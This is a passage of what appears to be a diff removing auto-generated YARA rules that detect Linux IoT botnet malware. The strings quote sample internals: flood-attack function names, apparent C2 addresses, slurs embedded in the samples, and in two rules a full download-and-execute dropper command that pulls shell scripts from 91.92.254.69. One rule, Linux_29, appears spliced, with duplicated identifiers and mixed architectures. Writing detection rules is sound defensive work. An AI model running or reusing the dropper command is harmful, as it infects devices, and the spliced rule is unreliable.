- $x1 = "$(/bin/busybox w" ascii
- $s5 = "hexPayload" fullword ascii
- $s6 = "lock_commands" fullword ascii
- $s7 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s8 = "httpd_port" fullword ascii
- $s9 = "bin/systemd" fullword ascii
- $s10 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s11 = "huawei_fake_time" fullword ascii
- $s12 = "whitelistpaths" fullword ascii
- $s13 = "lockdown" fullword ascii
- $s14 = "killall" fullword ascii
- $s15 = "httpd_serve" fullword ascii
- $s16 = "httpd.c" fullword ascii
- $s17 = "httpd_start" fullword ascii
- $s18 = "httpd_started" fullword ascii
- $s19 = "httpd_pid" fullword ascii
- $s20 = "huawei_setup_connection" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { f4 ff ff ff f4 ff ff ff b0 29 00 00 f4 ff ff ff }
- $op2 = { 51 e3 01 c0 20 e0 42 00 00 0a 00 10 61 42 01 20 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_19 {
- meta:
- description = "Linux_19"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "56fd82656a27d803f0976d6c762b2273d0d4b803330204260c7d66c62fd43ef0"
- strings:
- $s1 = "attack_tcp_bypass" fullword ascii
- $s2 = "hide_process" fullword ascii
- $s3 = "attack_udp_bypass" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s5 = "__scan_getc" fullword ascii
- $s6 = "__scan_ungetc" fullword ascii
- $s7 = "scan_getwc" fullword ascii
- $s8 = "kill_head" fullword ascii
- $s9 = "util_encryption" fullword ascii
- $s10 = "getpeername.c" fullword ascii
- $s11 = "attack_get_opt_str" fullword ascii
- $s12 = "wlancont" fullword ascii
- $s13 = "__scan_cookie.c" fullword ascii
- $s14 = "localhost.c" fullword ascii
- $s15 = "__init_scan_cookie" fullword ascii
- $s16 = "table_keys" fullword ascii
- $s17 = "ferror.c" fullword ascii
- $s18 = "killer_maps_cmd_idkanymore.c" fullword ascii
- $s19 = "perror.c" fullword ascii
- $s20 = "__GI_ungetc" fullword ascii
-
- $op0 = { 11 00 20 01 44 13 01 00 bc 34 00 00 50 }
- $op1 = { f4 ff ff ff f4 ff ff ff dc 2a 00 00 f4 ff ff ff }
- $op2 = { ea 00 00 a0 e3 70 40 bd e8 1e ff 2f e1 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_20 {
- meta:
- description = "Linux_20"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "972e99ec1f16b326c2b8d02e6a7b9b0e3924104c10797473032f8590f900181b"
- strings:
- $s1 = "attack_tcp_bypass" fullword ascii
- $s2 = "hide_process" fullword ascii
- $s3 = "attack_udp_bypass" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s5 = "__scan_getc" fullword ascii
- $s6 = "__scan_ungetc" fullword ascii
- $s7 = "scan_getwc" fullword ascii
- $s8 = "kill_head" fullword ascii
- $s9 = "util_encryption" fullword ascii
- $s10 = "getpeername.c" fullword ascii
- $s11 = "attack_get_opt_str" fullword ascii
- $s12 = "wlancont" fullword ascii
- $s13 = "__scan_cookie.c" fullword ascii
- $s14 = "localhost.c" fullword ascii
- $s15 = "__init_scan_cookie" fullword ascii
- $s16 = "table_keys" fullword ascii
- $s17 = "ferror.c" fullword ascii
- $s18 = "killer_maps_cmd_idkanymore.c" fullword ascii
- $s19 = "perror.c" fullword ascii
- $s20 = "__GI_ungetc" fullword ascii
-
- $op0 = { 11 00 20 01 44 13 01 00 c4 34 00 00 50 }
- $op1 = { f4 ff ff ff f4 ff ff ff e4 2a 00 00 f4 ff ff ff }
- $op2 = { ea 00 00 a0 e3 70 40 bd e8 1e ff 2f e1 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_21 {
- meta:
- description = "Linux_21"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "b6d5f5068ae3d5593671cb17752877694a097951ab4aefcb75dccab72620f590"
- strings:
- $s1 = "update_process" fullword ascii
- $s2 = "hexPayload" fullword ascii
- $s3 = "util_fdgets" fullword ascii
- $s4 = "killer_kill_by_port" fullword ascii
- $s5 = "local_bind.4620" fullword ascii
- $s6 = "attack_tcp.c" fullword ascii
- $s7 = "__libc_accept" fullword ascii
- $s8 = "attack_tcp_syn" fullword ascii
- $s9 = "attack_tcp_sack2" fullword ascii
- $s10 = "attack_tcp_legit" fullword ascii
- $s11 = "__sys_recvfrom" fullword ascii
- $s12 = "attack_ongoing" fullword ascii
- $s13 = "attack_tcp_ack" fullword ascii
- $s14 = "attack_tcp_stomp" fullword ascii
- $s15 = "util_itoa" fullword ascii
- $s16 = "attack_udp.c" fullword ascii
- $s17 = "attack_kill_all" fullword ascii
- $s18 = "anti_gdb_entry" fullword ascii
- $s19 = "attack_udp_plain" fullword ascii
- $s20 = "util_stristr" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { f4 ff ff ff f4 ff ff ff 68 08 00 00 f4 ff ff ff }
- $op2 = { 51 e3 01 c0 20 e0 42 00 00 0a 00 10 61 42 01 20 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_22 {
- meta:
- description = "Linux_22"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "69e14ec4c006c5c06fe3cfb4d0e0e3bef3aa991a2373e327d9a4d8d0ee5aad27"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s2 = "httpd_port" fullword ascii
- $s3 = "util_fdgets" fullword ascii
- $s4 = "resolv_lookup" fullword ascii
- $s5 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s6 = "killer_kill_by_port" fullword ascii
- $s7 = "local_bind.4755" fullword ascii
- $s8 = "__libc_accept" fullword ascii
- $s9 = "attack_tcp_syn" fullword ascii
- $s10 = "resolv_entries_free" fullword ascii
- $s11 = "__sys_recvfrom" fullword ascii
- $s12 = "attack_tcp_ack" fullword ascii
- $s13 = "util_itoa" fullword ascii
- $s14 = "attack_udp_vse" fullword ascii
- $s15 = "anti_gdb_entry" fullword ascii
- $s16 = "attack_udp_plain" fullword ascii
- $s17 = "util_stristr" fullword ascii
- $s18 = "ioctl_pid" fullword ascii
- $s19 = "rand_alpha_str" fullword ascii
- $s20 = "ensure_single_instance" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { 11 00 20 01 94 e5 00 00 38 34 00 00 4c }
- $op2 = { f4 ff ff ff f4 ff ff ff 68 28 00 00 f4 ff ff ff }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_23 {
- meta:
- description = "Linux_23"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1591920bdc5da520833c47cf59c5de63b51a9d191d4cfddcf14749428bc3a458"
- strings:
- $s1 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s5 = "attack_get_opt_str" fullword ascii
- $s6 = "util_fdgets" fullword ascii
- $s7 = "attack_rawflood" fullword ascii
- $s8 = "attack_method_hexflood" fullword ascii
- $s9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s10 = "exploit.c" fullword ascii
- $s11 = "zkjtjaz" fullword ascii
- $s12 = "killer_kill_by_port" fullword ascii
- $s13 = "attack_app_http" fullword ascii
- $s14 = "?/sys/devices/system/cpu" fullword ascii
- $s15 = "completed.4753" fullword ascii
- $s16 = "214.194.12.158" fullword ascii
- $s17 = "ncpus probed" fullword ascii
- $s18 = "attack_method_nfodrop" fullword ascii
- $s19 = "local_bind.4561" fullword ascii
- $s20 = "ncpus active" fullword ascii
-
- $op0 = { 82 10 60 78 c2 05 c0 01 82 00 60 34 c4 00 60 08 }
- $op1 = { a4 10 60 34 90 10 00 10 92 10 00 11 94 10 00 14 }
- $op2 = { 80 a2 3f ff 02 80 00 04 80 a2 20 00 04 80 00 04 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_24 {
- meta:
- description = "Linux_24"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "422e61a16eab7b3cbacbabfa00d7968b91daaa9a9595ab4160104a39ab1d704c"
- strings:
- $s1 = "attack_method_udpbypass" fullword ascii
- $s2 = "attack_get_opt_str" fullword ascii
- $s3 = "util_fdgets" fullword ascii
- $s4 = "attack_ovh_flood" fullword ascii
- $s5 = "killerkillbyname" fullword ascii
- $s6 = "killerinit" fullword ascii
- $s7 = "killerpid" fullword ascii
- $s8 = "killer_kill_by_port" fullword ascii
- $s9 = "local_bind.4769" fullword ascii
- $s10 = "__libc_accept" fullword ascii
- $s11 = "attack_udp_smart" fullword ascii
- $s12 = "util_itoa" fullword ascii
- $s13 = "anti_gdb_entry" fullword ascii
- $s14 = "util_stristr" fullword ascii
- $s15 = "ioctl_pid" fullword ascii
- $s16 = "rand_alpha_str" fullword ascii
- $s17 = "attack_method.c" fullword ascii
- $s18 = "ensure_single_instance" fullword ascii
- $s19 = "ioctl_keepalive" fullword ascii
- $s20 = "attack_method_nudp" fullword ascii
-
- $op0 = { f4 ff ff ff f4 ff ff ff a4 0d 00 00 f4 ff ff ff }
- $op1 = { 51 e3 01 c0 20 e0 42 00 00 0a 00 10 61 42 01 20 }
- $op2 = { 51 e3 f0 45 2d e9 00 50 a0 e1 27 00 00 da b4 a0 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_25 {
- meta:
- description = "Linux_25"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "688809ac2f0f2beb45d7ea2beb37fac5e7d164dc9930b32eea3e639103e91e31"
- strings:
- $s1 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s5 = "attack_get_opt_str" fullword ascii
- $s6 = "util_fdgets" fullword ascii
- $s7 = "attack_rawflood" fullword ascii
- $s8 = "attack_method_hexflood" fullword ascii
- $s9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s10 = "exploit.c" fullword ascii
- $s11 = "zkjtjaz" fullword ascii
- $s12 = "killer_kill_by_port" fullword ascii
- $s13 = "attack_app_http" fullword ascii
- $s14 = "214.194.12.158" fullword ascii
- $s15 = "attack_method_nfodrop" fullword ascii
- $s16 = "local_bind.4748" fullword ascii
- $s17 = "scanner.c" fullword ascii
- $s18 = "zltkaz" fullword ascii
- $s19 = "__libc_accept" fullword ascii
- $s20 = "attack_ongoing" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { f4 ff ff ff f4 ff ff ff 68 08 00 00 f4 ff ff ff }
- $op2 = { ea 00 00 e0 e3 70 40 bd e8 1e ff 2f e1 00 30 d0 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_26 {
- meta:
- description = "Linux_26"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "af5e4587b849eecd603ebfade9ef24e821ff185011f61434bb7c6d722e89cb88"
- strings:
- $s1 = "__stdio_mutex_initializer.3860" fullword ascii
- $s2 = "[0;97m ] Connected -> " fullword ascii
- $s3 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s4 = "/home/firmware/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s5 = "/home/firmware/build/temp-sparc/build-gcc/gcc" fullword ascii
- $s6 = "/home/firmware/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s7 = "completed.2248" fullword ascii
- $s8 = "94.156.64.143:9821" fullword ascii
- $s9 = "KM^_`abcdefghijk" fullword ascii
- $s10 = "[0;97m| Device: " fullword ascii
- $s11 = "[0;97m | Endian " fullword ascii
- $s12 = "gayass.c" fullword ascii
- $s13 = "ay2fzc1txz22mldwtj4ipcevw5q8zq6" fullword ascii
- $s14 = "[0;91mNigger " fullword ascii
- $s15 = "libc/string/sparc/memcpy.S" fullword ascii
- $s16 = "libc/sysdeps/linux/sparc/crtn.S" fullword ascii
- $s17 = "libc/string/sparc/strlen.S" fullword ascii
- $s18 = "libc/sysdeps/linux/sparc/rem.S" fullword ascii
- $s19 = "libc/sysdeps/linux/sparc/crt1.S" fullword ascii
- $s20 = "libc/string/sparc/memset.S" fullword ascii
-
- $op0 = { 82 10 00 08 c2 34 00 00 c2 07 a0 44 82 00 60 02 }
- $op1 = { 82 10 3f fe c2 2f bf f7 10 80 00 34 01 }
- $op2 = { 07 3f ff fb 86 10 e3 34 86 00 c0 1e c8 00 c0 00 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_27 {
- meta:
- description = "Linux_27"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "df63b0c49c038a77666cfd63bd9af48ae45f004c08e377872bfa208c8a8f6120"
- strings:
- $x1 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 91." ascii
- $s2 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 91." ascii
- $s3 = "tpget -v -u anonymous -p anonymous -P 21 91.92.254.69 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm " ascii
- $s4 = "92.254.69 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 91.92.254.69; chmod 777 tftp2.sh; sh tftp2.sh; f" ascii
- $s5 = "REPORT %s:%s:%s" fullword ascii
- $s6 = "__stdio_mutex_initializer.3860" fullword ascii
- $s7 = "infectline" fullword ascii
- $s8 = "getRandomPublicIP" fullword ascii
- $s9 = "/home/firmware/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s10 = "/home/firmware/build/temp-sparc/build-gcc/gcc" fullword ascii
- $s11 = "/home/firmware/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s12 = "GETLOCALIP" fullword ascii
- $s13 = "PROBING" fullword ascii
- $s14 = "getBogos" fullword ascii
- $s15 = "getCores" fullword ascii
- $s16 = "/usr/sbin/dropbear" fullword ascii
- $s17 = "zprintf" fullword ascii
- $s18 = "hextable" fullword ascii
- $s19 = "fdpclose" fullword ascii
- $s20 = "fdpopen" fullword ascii
-
- $op0 = { 82 10 3f fe c2 2f bf f7 10 80 00 34 01 }
- $op1 = { c2 07 bf f0 83 28 60 02 90 10 00 01 40 00 34 e5 }
- $op2 = { 82 10 20 05 c2 27 bf 34 c0 27 bf 38 c0 27 bf e4 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_28 {
- meta:
- description = "Linux_28"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "5f86ab87e8f3336371bf80a7a47bf8abfd5f2e0434023832b56a1ca96d1ca1ad"
- strings:
- $s1 = "__stdio_mutex_initializer.3860" fullword ascii
- $s2 = "(TSource Engine Query + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x79 rfdknjms" fullword ascii
- $s3 = "/home/firmware/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s4 = "/home/firmware/build/temp-sparc/build-gcc/gcc" fullword ascii
- $s5 = "/home/firmware/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s6 = "completed.2248" fullword ascii
- $s7 = "KM^_`abcdefghijk" fullword ascii
- $s8 = "libc/string/sparc/memcpy.S" fullword ascii
- $s9 = "libc/sysdeps/linux/sparc/crtn.S" fullword ascii
- $s10 = "libc/string/sparc/strlen.S" fullword ascii
- $s11 = "libc/sysdeps/linux/sparc/rem.S" fullword ascii
- $s12 = "libc/sysdeps/linux/sparc/crt1.S" fullword ascii
- $s13 = "libc/string/sparc/memset.S" fullword ascii
- $s14 = "object.2329" fullword ascii
- $s15 = "been_there_done_that.2818" fullword ascii
- $s16 = "libc/sysdeps/linux/sparc/urem.S" fullword ascii
- $s17 = "libc/sysdeps/linux/sparc/crti.S" fullword ascii
- $s18 = "libc/sysdeps/linux/sparc/fork.S" fullword ascii
- $s19 = "libc/string/sparc/strcpy.S" fullword ascii
- $s20 = "qual_chars.4078" fullword ascii
-
- $op0 = { dc 07 bf 34 81 e8 00 00 81 c3 e0 08 01 }
- $op1 = { d0 07 bf ec 40 00 34 dd 01 }
- $op2 = { d0 07 bf e4 40 00 34 a5 01 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_29 {
- meta:
- description = "Linux_29"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "bf5e6947f6829d17b8a8e5984366efcf5592d8f6bc7ec6d7e85b1872bebcb24a"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s2 = "/home/landley/aboriginal/aboriginal/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s3 = "hoste.6718" fullword ascii
- $s4 = "completed.4753" fullword ascii
- $s5 = "ncpus probed" fullword ascii
- $s6 = "ncpus active" fullword ascii
- $s7 = " " fullword ascii
- $s3 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s4 = "completed.2170" fullword ascii
- $s5 = "94.156.64.143:9821" fullword ascii
- $s6 = "__heap_add_free_area" fullword ascii
- $s7 = "_wordcopy_fwd_dest_aligned" fullword ascii
- $s8 = "been_there_done_that.2790" fullword ascii
- $s9 = "_wordcopy_bwd_dest_aligned" fullword ascii
- $s10 = "libc/sysdeps/linux/m68k/crtn.S" fullword ascii
- $s11 = "libc/sysdeps/linux/m68k/crt1.S" fullword ascii
- $s12 = "libc/sysdeps/linux/m68k/crti.S" fullword ascii
- $s13 = "object.2251" fullword ascii
- $s14 = "__free_to_heap" fullword ascii
- $s15 = "have_current_got" fullword ascii
- $s16 = "__malloc_from_heap" fullword ascii
- $s17 = "_wordcopy_fwd_aligned" fullword ascii
- $s18 = "_wordcopy_bwd_aligned" fullword ascii
- $s19 = "__heap_free_area_alloc" fullword ascii
- $s20 = "__heap_delete" fullword ascii
-
- $op0 = { ff 2f 00 61 ff ff ff a8 3a 58 8f 24 00 20 6e 00 }
- $op1 = { ff 2f 00 61 ff ff ff a8 20 58 8f 22 02 92 80 2d }
- $op2 = { 0c 4f ef 00 10 4e 5e 4e 75 4e 56 ff e0 2d 6e 00 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_43 {
- meta:
- description = "Linux_43"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "97c270704988507f66d1974e745bb63443b2e3a1a0142baa5f118dcbfa499890"
- strings:
- $x1 = "JN^Nucd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tft" ascii
- $s2 = "JN^Nucd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tft" ascii
- $s3 = "p 91.92.254.69 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 91.92.254.69; chmod 777 tftp2.sh; sh tftp2." ascii
- $s4 = "sh; ftpget -v -u anonymous -p anonymous -P 21 91.92.254.69 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh" ascii
- $s5 = "REPORT %s:%s:%s" fullword ascii
- $s6 = "__stdio_mutex_initializer.3828" fullword ascii
- $s7 = "infectline" fullword ascii
- $s8 = "getRandomPublicIP" fullword ascii
- $s9 = "GETLOCALIP" fullword ascii
- $s10 = "PROBING" fullword ascii
- $s11 = "getBogos" fullword ascii
- $s12 = "getCores" fullword ascii
- $s13 = "/usr/sbin/dropbear" fullword ascii
- $s14 = "zprintf" fullword ascii
- $s15 = "hextable" fullword ascii
- $s16 = "fdpclose" fullword ascii
- $s17 = "fdpopen" fullword ascii
- $s18 = "completed.2170" fullword ascii
- $s19 = "__GI_pipe" fullword ascii
- $s20 = "sendHTTP" fullword ascii
-
- $op0 = { 0c 4f ef 00 10 4e 5e 4e 75 4e 56 ff e0 2d 6e 00 }
- $op1 = { ae 50 8f 4a 80 6d 00 00 82 2f 2e 00 14 41 ee ff }
- $op2 = { ff 2d 40 ff f4 42 80 2d 40 ff f0 22 2e ff f0 24 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_44 {
- meta:
- description = "Linux_44"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "643f08ad224269aed8e7895c0191bb72518e8624a8669b6302ca3d92ac5c3368"
- strings:
- $s1 = "__stdio_mutex_initializer.3828" fullword ascii
- $s2 = "completed.2170" fullword ascii
- $s3 = "__heap_add_free_area" fullword ascii
- $s4 = "_wordcopy_fwd_dest_aligned" fullword ascii
- $s5 = "been_there_done_that.2790" fullword ascii
- $s6 = "_wordcopy_bwd_dest_aligned" fullword ascii
- $s7 = "libc/sysdeps/linux/m68k/crtn.S" fullword ascii
- $s8 = "libc/sysdeps/linux/m68k/crt1.S" fullword ascii
- $s9 = "libc/sysdeps/linux/m68k/crti.S" fullword ascii
- $s10 = "object.2251" fullword ascii
- $s11 = "__free_to_heap" fullword ascii
- $s12 = "have_current_got" fullword ascii
- $s13 = "__malloc_from_heap" fullword ascii
- $s14 = "_wordcopy_fwd_aligned" fullword ascii
- $s15 = "_wordcopy_bwd_aligned" fullword ascii
- $s16 = "__heap_free_area_alloc" fullword ascii
- $s17 = "__heap_delete" fullword ascii
- $s18 = "__check_suid" fullword ascii
- $s19 = "prefix.4042" fullword ascii
- $s20 = "libc/sysdeps/linux/m68k/vfork.S" fullword ascii
-
- $op0 = { 20 11 40 00 0d 61 ff ff ff d9 64 30 00 20 6e ff }
- $op1 = { 02 11 40 00 0d 61 ff ff ff af d8 30 00 20 6e ff }
- $op2 = { ff 2d 40 ff 34 70 01 b0 ae ff 34 67 00 01 1e 72 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_45 {
- meta:
- description = "Linux_45"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "c5c5328917f5af36c486187574156b90cdeae273523068dac062837fbd1108d3"
- strings:
- $s1 = "__stdio_mutex_initializer.3828" fullword ascii
- $s2 = "completed.2170" fullword ascii
- $s3 = "__heap_add_free_area" fullword ascii
- $s4 = "_wordcopy_fwd_dest_aligned" fullword ascii
- $s5 = "been_there_done_that.2790" fullword ascii
- $s6 = "_wordcopy_bwd_dest_aligned" fullword ascii
- $s7 = "libc/sysdeps/linux/m68k/crtn.S" fullword ascii
- $s8 = "libc/sysdeps/linux/m68k/crt1.S" fullword ascii
- $s9 = "libc/sysdeps/linux/m68k/crti.S" fullword ascii
- $s10 = "object.2251" fullword ascii
- $s11 = "__free_to_heap" fullword ascii
- $s12 = "have_current_got" fullword ascii
- $s13 = "__malloc_from_heap" fullword ascii
- $s14 = "_wordcopy_fwd_aligned" fullword ascii
- $s15 = "_wordcopy_bwd_aligned" fullword ascii
- $s16 = "__heap_free_area_alloc" fullword ascii
- $s17 = "__heap_delete" fullword ascii
- $s18 = "__check_suid" fullword ascii
- $s19 = "prefix.4042" fullword ascii
- $s20 = "libc/sysdeps/linux/m68k/vfork.S" fullword ascii
-
- $op0 = { ff 2f 00 61 ff ff ff a8 3a 58 8f 24 00 20 6e 00 }
- $op1 = { ff 2f 00 61 ff ff ff a8 20 58 8f 22 02 92 80 2d }
- $op2 = { 0c 4f ef 00 10 4e 5e 4e 75 4e 56 ff e0 2d 6e 00 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_46 {
- meta:
- description = "Linux_46"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "18437aee12ed64359bdff62b2a5d50a8188dd04bf7b4fb4f1d3197297aefa048"
- strings:
- $s1 = "udpplain_flood" fullword ascii
- $s2 = "get_random_ip" fullword ascii
- $s3 = "__get_pc_thunk_bx" fullword ascii
- $s4 = "read_elf" fullword ascii
- $s5 = "report_working" fullword ascii
- $s6 = "consume_pass_prompt" fullword ascii
- $s7 = "random_auth_entry" fullword ascii
- $s8 = "consume_user_prompt" fullword ascii
- $s9 = "completed.2429" fullword ascii
- $s10 = "tcp_flood" fullword ascii
- $s11 = "84.54.51.37" fullword ascii
- $s12 = "udp_flood" fullword ascii
- $s13 = "addpid" fullword ascii
- $s14 = "scanner_kill" fullword ascii
- $s15 = "machine_to_str" fullword ascii
- $s16 = "ascii_X86" fullword ascii
- $s17 = "add_strings" fullword ascii
- $s18 = "] Arch: [" fullword ascii
- $s19 = "ascii_killme" fullword ascii
- $s20 = "recv_strip_null" fullword ascii
-
- $op0 = { c7 44 24 04 14 18 05 08 c7 04 24 34 14 05 08 e8 }
- $op1 = { eb 34 8b 45 fc 03 45 08 0f b6 10 8b 45 f8 03 45 }
- $op2 = { 8d 85 d7 fc ff ff b9 ff ff ff ff 89 85 b4 fc ff }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_47 {
- meta:
- description = "Linux_47"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "37360f6da31b73b04cfef519dc71f25dbb1a7ffd1014c78bf0152099e08add72"
- strings:
- $s1 = "/home/firmware/build/temp-sh4/gcc-core/gcc/config/sh/lib1funcs.asm" fullword ascii
- $s2 = "udpplain_flood" fullword ascii
- $s3 = "get_random_ip" fullword ascii
- $s4 = "read_elf" fullword ascii
- $s5 = "report_working" fullword ascii
- $s6 = "consume_pass_prompt" fullword ascii
- $s7 = "random_auth_entry" fullword ascii
- $s8 = "consume_user_prompt" fullword ascii
- $s9 = "completed.2217" fullword ascii
- $s10 = "tcp_flood" fullword ascii
- $s11 = "84.54.51.37" fullword ascii
- $s12 = "udp_flood" fullword ascii
- $s13 = "addpid" fullword ascii
- $s14 = "scanner_kill" fullword ascii
- $s15 = "machine_to_str" fullword ascii
- $s16 = "ascii_X86" fullword ascii
